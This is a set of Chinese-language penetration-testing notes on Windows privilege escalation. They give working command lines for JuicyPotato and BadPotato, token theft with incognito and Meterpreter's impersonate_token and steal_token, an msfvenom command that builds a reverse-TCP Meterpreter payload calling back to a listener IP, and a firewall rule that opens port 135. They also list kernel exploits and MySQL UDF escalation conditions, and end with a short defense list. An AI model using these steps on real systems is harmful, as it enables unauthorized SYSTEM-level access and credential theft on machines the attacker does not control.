Windows中的用户与组
Potato家族提权
原理
通过各种⽅法在本地NTLM中继获取SYSTEM令牌,再通过模拟令牌执⾏命令。
条件
- 获取高权限令牌——token
- SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 权限
当⽤户具有 SeImpersonatePrivilege 特权,可以调⽤ CreateProcessWithTokenW 以某 个Token的权限启动新进程。
当⽤户具有 SeAssignPrimaryTokenPrivilege 特权,可以调⽤ CreateProcessAsUserW 以指定⽤户权限启动新进程。
Windows的token
- Delegation token(授权令牌):⽤于交互会话登录(例如本地⽤户直接登录、远程桌⾯登录)
- Impersonation token(模拟令牌):⽤于⾮交互登录(利⽤net use访问共享⽂件夹
Windows服务使用的登录账户
- NT AUTHORITY
- NT AUTHORITYService
- NT AUTHORITYService
Juicypotato(MS16-075)
原理
通过DCOM 来使服务向攻击者监听的端⼝发起连接并进⾏NTLM认证。
条件
- 1.开启SeImpersonate或者SeAssignPrimaryToken权限
1 | whoami /all |
1 | 如果开启SeImpersonate权限,juicypotato的参数可以使用-t t |
- 2.查看RPC默认端口是否为135
netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
- 3.根据操作系统选择可用的CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
- 4.选择一个系统未占用的端口作为监听端口
-l
指定监听端口
使用
- 1.Juicy_potato(原版)
https://github.com/ohpe/juicy-potato
1 | C:\>JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {03ca98d6-ff5d-49b8-abc6-03dd84127020} |
然后会弹出一个cmd whoami
查看为system权限
- 2.JuicyPotatoWeb(改)
JuicyPotatowweb.exe -p whoami
如果CLSID默认的不行 可以换别的试试
防御方法
- 1.阻止攻击者获得SeImpersonate或者SeAssignPrimaryToken权限
- 2.即使打好系统补丁
- 3.升级到最新的windows系统
BadPotato
https://github.com/hifuck/badpotato
使用
BadPotato.exe whoami
RoguePotato
后续再补充~
令牌窃取
incognito.exe
下载地址 https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
1 | #列取token |
ctrl+c 退出就能恢复原权限
使用msf
- 1.生产shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=198.168.0.133 LPORT=3344 -f exe -o shell.exe
(弹shell也可以使用nishang 的 ps1脚本但是要求ps版本在3以上)
- 2.使用msf内置模块 incognito
- 3.窃取token
impersonate_token "NT AUTHORITY\SYSTEM"
#窃取SYSTEM权限
steal_token 1252
从进程中窃取
- 4.恢复到之前的权限
rev2self
内核提权
MS15-051
MS17-010
MS14-058
数据库提权
Mysql UDF提权
条件
- 必须是root权限
- secure_file_priv=
- 将udf.dll 文件上传到Mysql的plugins目录下
具体可以参考https://blog.csdn.net/qq_36119192/article/details/84863268
也可以使用udf大马